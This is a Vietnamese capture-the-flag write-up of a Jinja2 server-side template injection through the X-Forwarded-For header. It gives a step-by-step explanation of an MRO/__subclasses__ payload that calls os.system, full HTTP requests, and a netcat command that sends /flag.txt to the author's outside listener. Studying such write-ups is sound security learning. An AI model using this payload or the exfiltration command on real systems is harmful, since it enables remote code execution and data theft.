Server_Site Template Injection for MRO python

  • (Lap)

  • Ban đầu khi xem sơ trang web thì thấy nó là 1 trang web hiển thị my ip . Dùng Burp Suite để đọc gói tin request thì không thấy gì , Tôi nghĩ đến trường X-Forwarded-For trong header . X-Forwarded-For là header HTTP dùng để truyền chuỗi IP client gốc qua các reverse proxy/load balancer/CDN. Backend có thể đọc header này để hiển thị “IP client”. Thử truyền 1 ip vào header này , nếu thành công thì đây có thể là nơi SSTI. Gói tin khi gửi đi khi chưa có payload như sau :

GET / HTTP/1.1
Host: 103.97.125.56:32383
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
  • Để xác đinh được phí sau trang web này dun Template gì thì ta thử chèn Paylad {{7*‘7’}}
X-Forwarded-For:{{7*'7'}}
  • Nếu trang web trả về kết quả là 49 thì đây chính là Twig chạy bằng php , còn nếu trả về 7777777 thì chính là template JinJa2 chạy bằng python. Và sau khi kiểm tra thì tôi biết được trang web này đang dùng Jinja2 !.
  • Payload như sau :
GET / HTTP/1.1
Host: 103.97.125.56:32383
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
X-Forwarded-For:{{7*'7'}}
Connection: keep-alive
  • Vì đã biết được mục tiêu chạy Jinja2 . Ta cần truyền code python vào để đọc nội dung của file /flag.txt .
  • Payload tôi sẽ dùng :
{{''.__class__.__mro__[1].__subclasses__()[127].__init__.__globals__['system'](whoami)}}
  • Giải thích Payload :
  • Trong python , mọi thứ gần như đều là object , vì đã là object nên chúng sẽ có phương thức , function .
>>> type('')
<class 'str'>
  • ” một chuỗi rỗng (instance của str).
  • .__class__ lớp của chuỗi đó → str.
  • .__mro__ tuple MRO (method resolution order) của str, thường (str, object, …). Hiểu theo cách đơn giản thì hàm __mro__ sẽ gọi các lớp cha và lớp trên nữa mà cs liên quan kế thừa với nó .
  • .__mro__[1] phần tử thứ 1 của MRO → thường là object.
  • .__subclasses__() danh sách các lớp con trực tiếp của object.
  • [127] chọn phần tử thứ 127 trong danh sách đó (một class cụ thể hiện có trong runtime; vị trí khác nhau trên từng máy).
  • . __init__ lấy hàm khởi tạo (constructor) của class đó (đó là một function object).
  • . __globals__ dict namespace toàn cục nơi hàm __init__ được định nghĩa (tên → giá trị). hiểu theo cách khác đơn giản thì nó sẽ liệt kê các biến và các hàm của object đó.
  • [‘system’] lấy giá trị gắn với key ‘system’ trong dict đó (nếu tồn tại).
  • .__globals__[‘system’](whoami) nó sẽ tương đương với os.system(‘whoami’).
  • Sau khi truyền payload và gửi request thì tôi nhận được reponse như sau
  • Request:
GET / HTTP/1.1
Host: 103.97.125.56:32383
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
X-Forwarded-For:{{''.__class__.__mro__[1].__subclasses__()[127].__init__.__globals__['system']('whoami')}}
Connection: keep-alive
  • Reponse:
HTTP/1.1 200 OK
Server: Werkzeug/2.2.3 Python/3.7.17
Date: Tue, 30 Sep 2025 08:07:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 54
Connection: close

This page is being accessed from the remote address: 0
  • Như đã thấy , đầu ra có vẻ không như mong đợi .ta thử 1 lệnh os bị sai thì reponse nhận lại có thông báo lỗi This page is being accessed from the remote address: 3165. Tiếp theo tôi thử thực thi lệnh (`sleep 9`) , thì đúng thật sever phải 9 giây sau mới gửi reponse cho tôi . Từ đó suy ra được rằng paload đã hiệu quả , lệnh os đã truyền vào có thể thực thi nhưng có 1 lý do nào dó mà output không được trả về . Vậy tha có thể nhận flag bằng nhiều cách . webhook ,wget , curl hoặc nc . Với writeup này tôi sẽ dùng nc .
  • Tôi sẽ bật lắng nghe trên máy của tôi trên cổng 8798
root@sp2:~# nc -lvp 8798

Sau đó tôi truyền pay load vào gói tin request như sau :

GET / HTTP/1.1
Host: 103.97.125.56:32383
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
X-Forwarded-For:{{''.__class__.__mro__[1].__subclasses__()[127].__init__.__globals__['system']('nc 160.191.86.233 8798 < /flag.txt')}}
Connection: keep-alive
  • Sau khi gửi payload đi thì trên máy lắng nghe tôi đã nhận được Flag như đề yêu cầu .
root@sp2:~# nc -lvp 8798
Listening on 0.0.0.0 8798
Connection received on jitto.fulleations.com 35121
CHH{S1mPl3_Jinja_SSST1_header_e6e4183101eaf974287348d1b06a7967}root@sp2:~#

==> Flag is : CHH{S1mPl3_Jinja_SSST1_header_e6e4183101eaf974287348d1b06a7967}

Khai Thác SSTI bằng Python MRO

Author

Kai0Kid

Publish Date

09 - 30 - 2025

License

Unlicensed

Avatar
Kai0Kid

Bạn tìm gì ở tôi ?